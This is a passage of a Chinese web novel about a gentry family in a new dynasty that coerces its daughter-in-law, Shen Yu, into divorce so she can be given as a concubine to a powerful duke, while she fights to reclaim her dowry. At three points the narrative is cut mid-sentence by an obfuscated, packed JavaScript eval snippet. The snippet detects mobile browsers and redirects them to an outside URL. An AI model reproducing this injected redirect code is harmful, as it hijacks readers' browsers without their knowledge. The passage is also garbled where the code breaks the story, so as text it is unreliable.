《被献给高官之后》 1. 典妻 三月后天气渐暖，院中花树抽出新枝，缀着翠绿嫩芽随风轻晃。 清晨的霞光从窗扇透进来，铜镜前的女子垂眸梳理着长发，眼角一抹薄红，不知是霞光映照，还是方才一场情事未曾散去的红晕。 章茂芝躺在床上，看着对镜梳妆的女子，眼中留恋，不舍，怨愤，挣扎，但最终只余怅惘和决然。 他起身趿上鞋，走到女子身后将她轻轻拢住，半敞的衣襟下胸膛起伏，与她的后背紧贴在一起。 沈钰笑着回头，抬手轻抚他的面颊：“二郎这是怎么了?今日怎的这般黏人?” 章茂芝伸手覆住她的手背，从铜镜中看着她白皙面庞，如画眉眼，忍不住将人搂得更紧了些，下巴在她脖颈轻蹭。 “我这次出门可能要很久才能回来，你……” 他凝滞片刻，将到嘴边的“你别忘了我”改成“照顾好自己”。 沈钰轻笑：“那是自然，你见我何时不曾将自己照顾好了?还有家里，你也放心，爹娘和祖母我都会照看好的，弟弟妹妹们的课业我也会盯着。” “对了，七月五娘就要出嫁了。你是她嫡亲的兄长，届时能赶回来最好，若是赶不回来，也记得送封信回来，不然五娘要伤心的。” “今年科举四郎想下场试试，但柳先生说他功课还差得远，不若在等几年，免得落榜失了信心。你待会走前去劝劝他，不然我怕说不动他……” 她絮絮叮嘱，声音徐徐，轻缓温柔。 章茂芝双手搂得更紧，胸口闷痛，想要亲吻她的面颊，与她再赴一场云雨，门外这时却传来重重的敲门声。 “二郎君，今日天色不好，恐有雷雨。老太爷说让您早些动身，免得路上难行，入夜前赶不到驿站。” 章老太爷的一位旧识今年调去岳鸣书院做了学监，老太爷花了重金请托，让章茂芝得以到岳鸣书院进学。 原本定好用过早膳跟长辈们拜别后启程，但眼下天才亮，章茂芝夫妇还没起床，就被敲门催促。 沈钰无奈地笑了笑，将章茂芝推开：“早些启程也好，路上若真有什么事耽搁了，也能及时找到地方落脚，省得赶夜路。” 说着便唤了婢女进来伺候章茂芝洗漱。 章茂芝有些失魂落魄的样子，泥塑般任由婢女们给自己洗漱更衣，待收拾停当要离开时才又拉住沈钰的手：“阿钰……” “好了，”沈钰笑着抽出手，给他理了理衣襟，“我知道你从未离家这么远，心中难免紧张。但你这次是去读书的，要以课业为重，可不能总惦记着家里。” “族中那么多子弟都写了文章，老太爷那位好友单单看中了你的，这多难得，你可得好好把握才是。” “秋婵，”她说着唤来自己的贴身丫鬟，从她手中接过披风给章茂芝披上，“去吧，我就不送你了，免得刘妈妈又多嘴告诉老太爷。” 刘妈妈就是刚才拍门的人，前不久才被老太爷安排到章茂芝院中的，很是严厉。每每见到章茂芝与沈钰亲近些，就要提醒沈钰作为正头娘子应当端庄贤淑，不能狐媚做派。 章茂芝知道沈钰这些日子受了不少苦，想要安抚几句。沈钰却扫了眼院中，退后两步。 他回头看去，果然看到刘妈妈正站在院门口对这边探头探脑，虎视眈眈。 章茂芝心生嫌恶，这些时日强压在心头的怒火终于难抑，厉声喝道：“身为奴仆窥探主子私隐，掌嘴!” 院中人都愣了，刘妈妈也愣住，旋即高声道：“二郎君，是老太爷让我……” “老太爷让你来窥探我房中事了?” 章茂芝怒道。 刘妈妈纵然有老太爷撑腰，却也不敢真说是老太爷吩咐她这么做的，正要寻个旁的由头反驳，章茂芝已对其他人喝道：“愣着做什么?我使唤不动你们了?” 总管院中事宜的李妈妈硬着头皮站出来，走到刘妈妈面前，低声说了句“得罪了”，抬手便扇了过去。 她不敢下重手，几巴掌打下去雷声不大雨点更小。本以为意思意思打几下就算了，奈何章茂芝今日动了真怒，斥她是不是没吃饭。她无法，只得加重了手上力道。 刘妈妈的双颊不多时便肿了起来，还是沈钰在旁劝阻，章茂芝才命人停了手。 老太爷那边得知此事后没像以往那般去斥责章茂芝夫妻，只冷哼一声道：“无妨，左右茂芝已经应下了，现下不过是发发脾气而已，随他去。” 因着老太爷这句“随他去”，刘妈妈挨打的事不了了之了。她心下气恼，给沈钰端去汤药时更没好脸色，将药碗往桌上重重一搁：“二少奶奶快趁热喝了吧。” 沈钰看了眼那汤药，没说什么，端起来一饮而尽。 这厢才喝了药，正院那边就来人传话，说是老太爷有事请二奶奶过去一趟。 秋婵蹙眉，看了看空空的药碗：“少奶奶才喝了药，还未用饭，就不能……” “无碍，”沈钰打断，扶着秋婵的手起身：“我这就去。” 秋婵抿了抿唇，不再多言，随沈钰一道往正院去了。 刘妈妈看着主仆二人离去的背影，待他们走远后翻了个白眼，用旁人听不到的声音小声道：“马上就要去给人做妾了，还摆什么少奶奶的普。” 说着收了药碗准备端出去，不想甩袖时动作太大，衣裳挂到了椅子上，身子一歪，桌几翻倒，托盘跌落，瓷碗碎了一地。 ………… 哗啦一阵碎响，沈钰不可置信地看着面前人：“您说什么?让我去给镇国公做妾?” 章老太爷抬了抬手，示意下人把她起身时不小心碰到地上打碎的茶杯收了，这才道：“我知你定然不愿，若能拒绝，我章家也不会同意这种事。可镇国公乃当朝新贵，陛下近臣，他开了这个口，我们又能如何?” “近十年来天下大乱，礼崩乐坏民不聊生，从前的世家大族十不存一。茂芝媳妇你出身名门，在此时得罪镇国公是什么下场，你想必比我们更清楚。” “我章家不过江州一小小士族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062970|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，与你沈家尚不能比，又如何敢违逆于他?” 沈钰双目赤红，声音哽咽：“所以……你们为了保全自己，便答应将我送出去?” 章老太爷双目微阖，转过头没有接话。 沈钰又去看坐在一旁的章大老爷，流着泪道：“父亲，您也答应了?” 章大老爷面色涨红，支支吾吾开口：“二郎媳妇，我……我们也不想的，可是……” “父亲!” 沈钰打断，声音凄厉：“我是二郎明媒正娶的妻子!这三年来我勤勤恳恳任劳任怨，阿兄跑官凑不够银钱，是我用嫁妆贴补的。族学请不到好的西席，是我以先父的名义请来了柳先生。婆母常年卧病在床，是我尽心侍奉让你和二郎无后顾之忧。” “我为章家做了这么多，如今你们为了章家的荣华富贵，就要将我送与旁人吗?你们把我当什么了?可以随意买卖赠予的物件吗?父亲你也是个读书人，怎么能……” “够了!” 上首的章老太爷忽然一拍桌案，厉声喝道：“沈氏你不要在这里无理取闹!孝顺公婆打理家事本就是为人妻者应该做的，谁家的媳妇不是如此?怎的到你这里就成了大功臣了，人人都要感念你了?” “何况若不是你引来镇国公，我章家又怎会面临如此境地?我们还没怪你给家中带来灾祸，你倒埋怨起我们了?” 沈钰被这一声怒喝吓得缩了缩脖子，但还是忍不住哽咽反驳：“我引来的?我连他镇国公姓甚名谁长什么模样都不知道，我如何引来?老太爷既想把我送出去给章家铺路，又想保住章家的名声不被人诟病，为此便要颠倒是非黑白将污水都泼到我身上吗?” 她说着挺直脊背，梗着脖子道：“我营州沈氏百年望族，世家高门，决不受此等胁迫!你们若敢将我送与那镇国公为妾，我便去衙门告你们典妻!” “新帝登基，皇朝初立，正是重铸礼教之时。此事若传出去，镇国公还敢收我吗?届时章家非但得不到自己想要的，还会声名狼藉，为世人所不耻!” “老太爷若不怕我拼个鱼死网破，便尽管将我绑了送去。哪怕是到了京城，到了镇国公府上，但凡我能出门，能开口说话，定要将此事喊得人尽皆知!” 事情若真闹到如此地步，章家就不是讨好了镇国公，而是惹怒了镇国公。 章大老爷眼角抽了抽，忍不住看向老太爷。 老太爷早知这个儿媳面上温婉，骨子里其实颇有几分硬气。为此他早做好了准备，平静无波地给一旁的下人使了个眼色，让人将一个托盘呈到沈钰面前。 托盘中放着一纸和离书，男方那边长辈处章老太爷已经签字盖印，只章茂芝的名字还未写上。女方这边沈钰的名字处空着，但长辈那里已经签了个名字——蒋春华。 沈钰的继母，沈家如今的当家主母，蒋氏。 “你要先是我章家妇，才有典妻一说。既然和离，你便不再是我章家人，又何谈典妻?” 章老太爷冷声说道。 2. 答允 沈钰看着和离书上那名字，身形一晃倒退半步：“你们……你们竟背着我找了蒋氏?” “她是你母亲，和离这样的大事，自然要与她商议。” 章老太爷理直气壮道。 “你进门三年无所出，按理说我章家是可以直接休了你的。但为着你和沈家的声誉着想，我们并没有这么做。” “今日你签了这和离书，从此与我章家便再无瓜葛。待镇国公派人来接你，你自随他去便是。” “镇国公青年才俊，又是当朝新贵，虽只是做他的妾，但也不算辱没了你。” 沈钰嗤笑一声，眼眶泛红，将视线从那和离书上收了回来，看着章老太爷道：“所以……我这些日子喝的根本不是什么调理身子有助怀孕的药，而是避子汤?你们怕我怀着章家的骨肉进了国公府的大门，便派了刘妈妈来日日盯着我，给我喝那劳什子汤药!” “枉你章家自诩清流，竟做出如此恬不知耻之事!” 章老太爷没想到她这么快就反应过来那汤药的事，还当面说了出来，目光些许闪躲。 他虽觉得自己并未做错什么，但盯着孙辈的房中事到底不光彩。 “我这也是为你好，”他沉声道，“镇国公相中你是因为你与他那早亡的心上人长得有几分相似，可再相似，到底不是同一个人。倘若你怀着我章家的孩子进了门，他又怎肯接纳你?” “为我好?” 沈钰大笑出声，眼中却有泪水滚落：“你们分明是怕镇国公不肯收我，不能用我这儿媳换你章家的荣华富贵!” 她说着扬手将下人手中托盘打翻在地，一字一顿道：“这和离书我决不会签!茂芝若在此，也定不会同意你们此等行径!” “你们若敢作伪，假冒我和茂芝签了字，趁他不在硬要将我赶出去，我便一条白绫吊死在你章家门前，好叫世人知道你章家如何寡廉鲜耻忘恩负义!” 她说罢转身要走，老太爷气急，张口想骂，却知道此事强求不得。 他已答应镇国公半月内将人送去，倘若到时镇国公见不到人，甚至连累了国公府的名声，章家此举便是偷鸡不成蚀把米。 眼见沈钰就要走到门口，章老太爷忙给大老爷章春生使了个眼色。 章春生性情懦弱，平日里便没个主见，很容易被人拿捏。 此次将沈钰送与镇国公之事他本觉得不妥，可老太爷说舍了这个儿媳，章家今后能得到诸多好处，尤其是他们这一房，今后便是章家真正的“大房”了。 他是长房长子，但因性情原因，一直被其他几房压着，空有个长房大哥的名头，实则在族中根本插不上话，还没他儿媳说话好使。 这次镇国公相中了沈氏，人虽还没送去，却已给了章家一些好处。他的长子升了官，次子进了最好的书院，眼看着都有大好前程，说不定就能在新朝平步青云了。 章春生亲眼见到了这些好处，再加上章老太爷的游说，没多久便也答应了。 见老太爷给自己使眼色，他心知这是让他劝阻沈氏。可他一时不知该如何开口，情急之下直接扑了过去，扑通一声在沈钰面前跪了下来。 “二郎媳妇，求你，爹求你!你就应了吧!” 沈钰没想到他竟会对自己下跪，震惊之下一时忘了反应。 章春生心知威胁逼迫那套对她无用，他也不擅长这些，正寻思应该如何说服她时，脑中忽然电光火石一闪，想起沈钰与章茂芝之间夫妻情深，便哽咽着编起谎话来。 “我也觉得此事荒唐，本也不肯答应的。可那是国公府，咱们惹不起啊!” “镇国公不知从哪里得知你与他的心上人容貌相似，派人拿着画像登门，远远看了一眼便说要纳你为妾。” “我章家虽不是什么世家大族，却也是耕读传家，名门清流，怎肯行此等有违礼法之事?” “可是……可是如今改朝换代，新帝登基，镇国公是陛下身边亲信，一言便能定人生死!他用章氏子弟的仕途前程，用茂芝的性命做要挟，我们……我们也是万不得已才答应的啊!” 他说的虽是假话，心中期待忐忑屈辱惧怕却是真的。 作为读书人，他对自己对章家这样的做法感到不齿，却又无法抛下唾手可得的利益。 他一边享受着这些利益，一边又畏惧镇国公的权势，怕他一个不称心就让章家永无翻身之日。 这样半真半假之下，章春生竟哽咽着哭了起来，弯腰便给沈钰磕了个头：“就当是为了茂芝，二郎媳妇你就把这和离书签了吧。求你了，爹求你……” 章老太爷是想与章春生一个唱红脸一个唱白脸，却没想到他作为长辈竟会给一个晚辈磕头下跪。老太爷一时气得险些呕血，只庆幸还好事先遣退了下人，此时房中再无旁人，不然他章家的脸真是要丢尽了! “你公爹都给你下跪了，你还要如何?” 他对正欲将人扶起来的沈钰呵斥一句，顺着章春生方才那番话道：“我今日便与你说句实话，镇国公那边点名要你，你便是不愿去，我章家也不敢留你!” “你若实在不愿签这和离书，我们便只能写一纸休书了! 沈家如今已经是你那继母掌家，没有你的容身之地。届时你既没夫家，也回不了娘家，难道真要吊死在我章家门前不成?” “你便是真的死了，我章家最多名声有些不好，却也不会得罪镇国公，不至于引来杀身之祸!” “究竟是和离还是休妻，你自己选吧!” ………… 因为沈钰的抗拒，这件事当天并没能商量出个结果。 接下来的几天章老太爷和章大老爷都没再找过她，但章老夫人刘氏却时不时来她院中坐一坐，劝说一番。 刘氏是章大老爷的母亲，章茂芝的祖母，常年礼佛，不问俗务。若非此次事关重大，她也不会亲自来找沈钰。 房中一如既往地只留了秋婵，其余下人都被遣退出去。 刘氏品着香茗，看了眼花瓶中插着的梨花，叹道：“我当初便说这梨花虽美，寓意却不好。但你喜欢，每年春天都坚持要剪了插瓶，怎么劝也不听。如今……倒真应了这离别之意了。” 沈钰坐在一旁，只默默听着，并不接话，显然已经对她那一套说辞听腻了。 这几日她憔悴许多，面色似那梨花花瓣一般苍白，人也清减了，不似往日神采奕奕。 刘氏看着她这副样子，轻叹一声：“春生说你与茂芝夫妻情深，与朱氏亦十分亲厚，让我劝你时多提他们，盼你能为他们考虑思量。” “但我劝了几日，见你虽偶尔有所动容，却始终不肯让步，想来是恼恨章家以你换取功名利禄，不愿就这么轻易让他们如愿。” “既是如此，我今日便不提他们，只说说你。” “你嫁进门三年有余，为人勤恳，待人和善，将府里上下打理得井井有条，今次之前，府中人与你也算亲近。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062971|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可当镇国公相中你，要纳你为妾的时候，章家可曾犹豫过要不要将你送出去?可曾在做出决定前与你商量一二?” 沈钰没有接话，刘氏也并不需要她的回答，自顾自道：“没有。利益当前，眼见攀上镇国公便能在新朝平步青云一片坦途，他们哪还顾得上你?你便是做得再好，为章家付出过再多，也不过是个外姓人而已。为了自己的利益，他们会毫不犹豫地舍弃你。” “此时顺了他们的意让他们得偿所愿固然令你心中不快，觉得自己此前诸多付出付之东流。可是继续留下来，难道就好吗?” “你与他们相处融洽时，他们尚且不顾你的死活。你与他们反目成仇，他们难道还会善待你?你今后数十年，难道就要耗在章家，任凭他们磋磨吗?” 沈钰原本只是呆坐着，并不出声，听到这里才眸光微动，转头看向她。 “祖母这是也承认章家做得不对了?” “卖妻求荣，便是山野匹夫，也知是不对的。章家一门读书人，他们能不知道吗?可知道又如何，还不是一样做了?” “你若非要跟他们争个是非对错，那就输了。因为只有你在意这些，他们根本不在乎。与不在乎的人争执，有什么用?” “那依祖母的意思，我就该听凭他们安排，老老实实去给镇国公做妾?然后看着章家前程似锦，富贵荣华?” 沈钰开口质问，面上露出几分愤然。 刘氏缓缓摇头：“我来劝你是因为我已经半截身子入土了，临死前想过几天安生日子，不想总听章宏光那个老东西在我耳边念叨。但你要怎么选，那是你自己的事。” “我只是觉得……给镇国公做妾确实不是什么好出路，但兴许比留在章家强些。” 言语间对章老太爷颇为不敬，与平日慈眉善目跟谁都和和气气的样子十分不同。 沈钰有些诧异：“祖母这话不怕老太爷听去吗?” “听去又如何?”刘氏笑道，“他在意的是我能不能说服你和离。你若同意了，我即便骂他是个畜生，他也不会计较。你若不同意，我便是夸他佛祖转世仙人下凡，他也只会觉得我是个废物。既然如此，不如想骂就骂。” 沈钰眸光流转，视线在她身上扫视一番，半晌后才轻声道：“祖母与我想的……颇为不同。” “彼此彼此，你与我想象中也很是不同。” 刘氏道。 两人虽在同一个屋檐下住了三年，但刘氏身子不好，又常年礼佛，几乎不怎么露面。他们为数不多见面的时候也只是彼此说些客套话，关心一下对方身体。这几日是他们之间说话最多的时候，比前三年加起来都多。 沈钰收回目光，放在桌上的手轻轻蜷起，面上露出悲戚之色：“祖母说的我都懂，可我就是不明白。我分明什么都没做错，为何却是这么个结果……” 刘氏心有所感，想到自己这浑浑噩噩几十年，无奈地轻笑一声：“孩子，很多事与你做的是对是错无关，只与你遇到的是什么人有关。” 她说着扶着膝盖站起身：“该说的我都说了，往后我不会再来了。要怎么选，你自己决定吧。” 说罢便往外面走去。 沈钰看着她的背影，待她快走出房门，这才道：“我可以和离，但章家要归还我所有的嫁妆，一个铜板都不能少。” 刘氏一怔，片刻后露出个欣慰的笑容，就这么背对着她回道：“好，我去与他们说。” 3. 拉扯 “我不同意!” 章老太爷院中，有人高声喝道。 “当初本就是看重她的嫁妆才娶她进门，说是有沈家半数家财，结果来时路上被匪盗劫掠，十不存一。我章家没嫌弃她，依旧让她进了门，她现在还要将这些嫁妆带走?那我章家当初为何娶她?就为了让她在这白吃白喝三年吗?” “就是，三年来连个孩子都没生下，大哥如今不过是要和离，又不是休妻，她还蹬鼻子上脸了?我呸!” “这种事老太爷竟还找我们来商量?有什么可商量的?她若不愿和离，那就休了她!我看她还敢不敢提嫁妆的事!” 众人你一言我一语，谁都不愿把已经吃到嘴里的东西吐出来。 章春生在旁听着，半晌插不上话，好不容易才找到个空隙开口：“她只是要将嫁妆单子上的那些东西带走，其余的不动。这几年有她的嫁妆周转，咱们原本的那些田庄铺子都保下来了，还挣了不少钱，这些她都不要，咱们还可以留下。” “大哥真是不当家不知柴米贵，说得倒是轻巧。” 有人嗤声道。 “咱们这几年是挣了些钱，可开支也不小，很多都拿来买新的田庄铺子了，手头能动的根本没多少，将将够家里吃穿用度罢了。” “沈氏一下要带走半数家财，且不说咱们手里的铺子没了这些银钱周转不过来，便是家里的用度……” 他说着扫了章春生一眼，语气讥讽：“大哥穿惯了这上好的锦缎，还愿意穿粗布麻衣吗?你书房里那刀澄心纸用完了，能忍住不买新的吗?还有你头顶的玉冠，腰上的玉佩，哪样不是钱?” “平日你会客访友时处处都要体面，可曾想过这体面是怎么来的?没了银子，你还有什么体面!” 章春生被训斥的面红耳赤，忍不住攥了攥袖口，想要反驳却张不开口。 章老太爷沉声劝了几句，见众人不听，知道若不说出实情是不可能从这些人手里撬出银子了，只得将镇国公府的事说了。 房中一时沉默，半晌才有人讷讷道：“老太爷是说……大郎的官职，还有二郎的书院，都是镇国公帮的忙?可先前不是说是您的好友……” 老太爷斜睨他一眼：“我若有这么能耐的好友，章家早就官至宰辅了，还用等到今日?” 那人讪讪：“您不是说您那好友升官了嘛……” 十年征战，许多官员都在战乱中死伤离散。新帝登基，正是用人之际，从前不被重视的官员得到提拔连升几级并不是什么新鲜事，所以章家上下谁都没有怀疑。 但现在想想，也确实有些奇怪。 章老太爷自始至终只说是自己的一位好友帮了忙，却从不说此人姓甚名谁。若真有这么个人，人家又帮了这么大的忙，不说亲自前去感谢，也该让家中晚辈登门道谢才是。 可自始至终，老太爷都没提过此事。 他们以为老太爷是私底下走的门路，怕动静太大被人知晓了给对方添麻烦，这才没有大张旗鼓地拜访。原来……根本就没有什么好友，背后出力的是镇国公。 “镇国公……那可是镇国公啊!” 有人双目泛着精光说道。 “听闻这位国公爷伴驾多年，是陛下的至交好友，在陛下面前颇有分量!若能得他青眼……那咱们今后前途无量啊!” “这种事老太爷怎么不早说?咱们也好早些跟国公爷那边打上交道，与之结识一番!” “就是，朝廷现在正缺人，很多官职都空着。镇国公若愿意帮忙，那还不是一句话的事?” 一阵欢喜雀跃中，有人低声开口：“这……不好吧?大嫂是咱们章家明媒正娶的媳妇，为了族中前程就……这若传出去，咱们还如何在青州立足?便是将来做了官，只怕也会被人瞧不起。” 几句话又让房中沉默下去，众人这才察觉方才只顾着高兴了，却忘了镇国公的照拂是有条件的，这条件就是将沈氏送与他做妾室。 老太爷先前没将此事告诉他们也是这个缘故，虽说这确实对章家有好处，但到底不光彩，知道的人越少越好。 可沈氏是在章家最窘迫的时候进的门，还带来了丰厚的嫁妆，不仅帮着章家度过了最困难的时候，还将章家的产业一扩再扩。 这个儿媳毫无过错，甚至还帮过章家良多，唯一能被指摘几句的也就是一直没有生出孩子而已。 可她嫁进门也不过三年，便是用这个借口休妻也很是勉强，更何况是将她送与旁人为妾。 章老太爷自知这不是什么好事，传出去有碍章家名声，这才只与章春生父子二人商议了，没与旁人提。 他本以为只要说服了沈钰，此事就过去了，不会再有人知晓。哪想到沈钰却提出条件，要将她进门时的嫁妆带走。 因着战乱的缘故，这些年陆陆续续有不少人变卖家产逃离沛城。城中人心惶惶，大家都怕哪日战火波及到这里，只一心囤粮好在围城时能填饱肚子，根本没人敢轻易花钱，更不敢购置产业。要知道田庄铺面是带不走的，若是哪天城破了，这些东西就都打了水漂。 可沈氏眼光独到，用自己的嫁妆买入了许多良田，将城中位置好的铺面能买的也都买下了，甚至还买了几座宅院。 最终新皇登基，天下大定，沛城虽被小队人马骚扰过，却始终不曾遇到大的战乱，得以保全至今。沈氏购置的那些产业全都成了香饽饽，不仅让章家在局势混乱时依旧能够锦衣玉食，更让章家在战乱结束后一跃成了沛城首富。 从前搬离沛城的人想要回来都要从他们手里买地买屋，想继续做生意也得租他们的铺子。 章家从沛城一户寻常官宦人家，成了有头有脸的高门大户。 章老太爷作为一家之主，自然不能让这些产业都落在这个曾孙媳妇一人手里，便以怕她忙不过来为由，做主将其中一些分给了另外几房，这里面就包含沈钰的一些嫁妆。 当时说的是族中人只是帮忙打理，最终所得还是按规矩一部分交到公中，一部分归沈钰自己。但实际这几年沈钰根本没从他们手里拿到过钱，她也从未讨要过。 大家早已默认那些都是属于章家的产业，是分给他们各房的。如今沈钰忽然要拿回去，他们又怎肯答应? 老太爷早猜到轻易说服不了他们，这才将他们聚到一起，把镇国公的事说了。 房中一时安静无声，谁都没敢轻易开口。 大家都是读过圣贤书的，此等有违礼法之事，实在不敢点头赞同。万一将来不慎传了出去，那是要被羞辱耻笑的。 这阵沉默很是漫长，气氛僵持间，不知是谁说了一句：“可沈氏不是已经同意和离了吗?和离了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈钰在银钱方面素来大方，从不计较。众人觉得还有商量的余地，便纷纷告退，自己拉不下面子开口就让自家夫人前去劝说。不想接连去了几人，均是折戟沉沙。沈钰咬死了要带走全部嫁妆，丝毫不肯松口。 二夫人黄氏是章家当家主母，自恃身份，起初并未前去。直到旁人都无功而返，她这才耐着性子亲自前往。 黄氏坐在沈钰身旁，追忆往昔，回顾了许多两人之间的过往，末了道：“我虽舍不得你，但镇国公府想来比我们这小门小户强多了。你将来去了那边，必是锦衣玉食珠围翠绕，不比在章家强上许多?既是如此，又何必在意那些许嫁妆呢?” 沈钰闻言没恼，反倒笑了，挑眉扫她一眼，不疾不徐道：“二婶既觉得国公府那么好，不若我留下来，你去给镇国公做妾如何?” 黄氏愣怔一瞬，旋即勃然大怒，拍案而起：“沈氏!你怎么说话呢!” 沈钰全没了往日那般恭顺，倚着桌几故作不解地看着她：“二婶这是怎么了?不是你说镇国公府比章家强上许多吗?我见你喜欢，这才提出与你交换，你怎的却急了?” 黄氏被她这阴阳怪气的腔调气得面色涨红，扬手便朝她脸上打了过去。手才抬起还没来得及甩下去，便觉得腕上一痛，被人扯着往旁边用力一拽，重重摔在了地上。 秋婵居高临下地看着她，眼中没有半点对主子的恭敬顺从，仿佛在看一条死狗。 4. 两全 黄氏痛呼着趴在地上，好半晌才忍痛撑起身，不可置信地看着秋婵：“你……你竟敢……” 秋婵冷眼瞧着她：“有什么不敢?章家都要把我家小姐称斤论两地卖了，难不成还指望我把你们当主子看?狗嘴里吐不出象牙的东西，卖了我家小姐还想让她把嫁妆留下供你们珍馐美馔锦衣华服?做什么春秋大梦呢?呸!” 她往日乖巧又伶俐，对谁都笑眯眯的，嘴甜得很。哪想到一朝翻脸竟如此凶悍，不仅骂人，竟还敢动手! 黄氏气得一佛出世二佛升天，有心使唤人打回来，又想起因为事涉章家秘辛，她来时没带下人。此刻身边别说有个帮手的人了，连个来伸手扶她的都没有。 她哀叫着站起身，踉踉跄跄地往前两步，见秋婵瞪她一眼，一副又要来打她的架势，赶忙后退。 “你……你……” 她指指秋婵，又指指沈钰，最终撂下一句“你给我等着”便呜呼哀哉仿若死了丈夫般哭嚎着跑了出去。 府上下人不知道出了什么事，只知道二夫人从二少奶奶院中出来时哭得凄惨，听说身上还有伤，好像是被人打了。 不管是真是假，长辈状告晚辈，晚辈怎么也要出来解释几句，少不得还要赔个罪。可二少奶奶院中却毫无动静，既不解释，也不退让赔礼，一副“打就打了，你奈我何”的样子。 换做往常，只怕整个章家都要炸了锅，各房老爷夫人们都要对二少奶奶轮番质问一番，说不准还要惊动老太爷。可这次府里上上下下毫无动静，就像前次刘妈妈被二郎君下令掌掴一般，悄无声息地就过去了。 可刘妈妈只是个下人，二夫人可是章家的当家主母。当家主母挨了打却无人给她出头，下人们一头雾水，心知府里怕是出了什么大事，行事愈发小心谨慎。 ………… “你嚎个什么鬼!” 二老爷指着二夫人的鼻子骂道。 “让你去劝劝沈氏，你劝不动也就算了，还闹出这么大动静!生怕别人不知道家里那点事吗?” 二夫人被秋婵抓握过的手腕不知何故这会儿又红又肿，还痒得厉害。她被个下人打了本就委屈得很，现在又被丈夫责骂，更是又气又恼：“我这个做长辈的被侄媳打了，哭都不能哭一声吗?你不帮我出头就算了，竟还怪上我了?我这又是为了谁?” 二老爷没好气道：“老三老四家的也都去了，怎么不见他们挨打，偏你闹出这么大动静?沈氏惯来和气，就算这次恼了咱们章家，也不至于动手打人。你到底跟她说了什么把她气成这样?” “老太爷千叮万嘱让把嘴闭严实了别传出什么风声。你倒好，哭着喊着从沈氏院中跑出来，生怕别人不知道出了事!万一有那嘴碎爱打听的传出些什么，咱们章家上下还要不要脸了?” 黄氏哭得正伤心，听他说这话，气得脸红脖子粗：“要把沈氏送人的又不是我!你们先行了不要脸的事，又来怪我坏了章家脸面?别说现在事情还没传出去，就是哪天捅出去叫人知晓了，没脸的也不是我!” “你叭叭地在这埋怨我，怎么不想想老太爷先前为何瞒着家里上下只跟大房说了此事?镇国公相中的是沈氏，是大房的媳妇!如今得了好处的也是大房!你这什么都还没到手呢，只听个镇国公的名声就高兴地找不着北了。若是将来镇国公也只肯帮衬大房，咱们岂不是赔了夫人又折兵，连到手的银子都没了!那时你这二老爷可就真的只是二老爷了，大哥那个孬种怕是都要踩到你头上!” 二老爷原本义正言辞说得头头是道，冷不丁被黄氏这番话一噎，竟不知该如何反驳，索性一甩袖：“你这牙尖嘴利的妇人!我争不过你行了吧!” 说罢转身扬长而去，出了门却发现次子章若荃正站在门外。 他不知方才跟黄氏的争吵被儿子听去了多少，有些尴尬地走过去，轻咳一声道：“来给你母亲请安?” 章若荃点点头，又摇摇头：“本是为此来的，但现在有些话想跟父亲说。” 这个次子向来聪明伶俐，二老爷遇事也爱与他商量，便点了点头，让他随自己一道去了书房。 ………… “爹娘的话其实都有道理。” 书房中，章若荃如是说道。 “爹是为大局考虑，觉得银钱这些俗物都不能与仕途相比。有了仕途，权势财帛便都有了。” “但娘说的其实也没错。若是咱们将手中银钱拿出来了，将来得利的却只有大房，那咱们二房岂不是为他人做嫁衣?” 二老爷刚才没能反驳黄氏也是因为觉得这话有理，可有理归有理，现在除了把沈氏的嫁妆还回去又有什么办法呢? “你二嫂说什么都不肯松口，坚持要把嫁妆带走，否则就不肯和离，不肯去镇国公府。咱们现在除了顺着她，还能如何?” 黄氏说的固然有可能，但也有可能将来整个章家都能得到好处。 章春生那个蠢货是扶不起来的，茂芝茂菡又还年轻，大房现在能用得上的也就一个茂荣。 眼下镇国公已经给茂荣定了太仓知府的位置，等沈氏进了国公府，再有什么好处就是其他几房的了。而在这几房中，二房为长，又是老太爷一脉，必定能占到大头。 二老爷不愿因为些许风险就放弃这大好机会，自是只能将从沈钰那得来的东西还回去。何况这是阖族上下共同的决定，若是大家都将沈氏的嫁妆返还了，只他不还，岂能说得过去? 章若荃轻笑一声，身子微微前倾，一双本就显得轻佻的眼睛微微眯起，低声道：“儿倒有个两全其美的法子，只是不知爹愿不愿听。” 二老爷疑惑又期待：“快快说来。” 章若荃在他耳边低语一阵，二老爷听后大惊，心跳加速，呼吸都快了几分：“这……这不妥吧?沈氏是镇国公要的人，咱们若是半路抢了她的东西，镇国公追查下来该如何是好?” 他嘴上虽这么说着，但眼中闪烁的精光显示他分明已经动心，只是怕被镇国公追究才有些犹豫罢了。 章若荃勾了勾唇，一脸笃定：“沈氏那些嫁妆于咱们而言是金山银山，于镇国公而言不过九牛一毛，他又岂会在乎?” “他要的不过是沈氏这个人罢了，只要在国公府的人接到沈氏之前装作流寇匪徒将她的嫁妆劫走，咱们就既能搭上国公府的线，又不亏损一分一毫。” 二老爷沉吟片刻，有心答应，但还是觉得不大稳妥。 